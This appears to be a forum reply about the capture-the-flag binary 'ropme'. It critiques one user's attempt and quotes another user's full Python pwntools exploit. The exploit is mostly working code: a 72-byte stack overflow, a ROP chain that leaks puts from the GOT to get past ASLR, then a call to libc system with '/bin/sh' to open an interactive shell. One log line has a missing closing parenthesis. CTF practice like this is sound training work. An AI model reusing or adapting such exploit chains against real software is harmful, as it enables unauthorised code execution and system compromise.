You are overwriting only the return address. ROP gadgets are missing. Are you sure you’re leaking a legit libc address?
Where do you return after the leak? Doesn’t look like you’re returning to the right place.
Why did you hardcore the address of bin/sh? ASLR should be on.
Below is @exploit’s PoC in case you want to have a look:
#!/usr/bin/python from pwn import * c = process("./ropme") pause() puts_off = 0x6f690 sys_off = 0x45390 sh_off = 0x18cd17 # ENTRIES puts_got = 0x601018 main = 0x4005a6 pop_rdi = 0x400643 puts_plt = 0x400476 # ROP - PART 1 payload = "A" * 72 payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main) # SENDING c.recvuntil("ROP me outside, how 'about dah?") c.sendline(payload) # LEAK c.recvline() puts = u64(c.recv(6).ljust(8, "\x00")) # CALCULATING libc_base = puts - puts_off libc_system = libc_base + sys_off libc_sh = libc_base + sh_off # PRINTING log.success("Libc: " + hex(libc_base)) log.success("system: " + hex(libc_system)) log.success("/bin/sh: " + hex(libc_sh) # ROP - PART 2 payload = "A" * 72 payload += p64(pop_rdi) payload += p64(libc_sh) payload += p64(libc_system) # SENDING c.sendline(payload) # YOU ROP? I DO TOO log.success("PWNED!") c.interactive()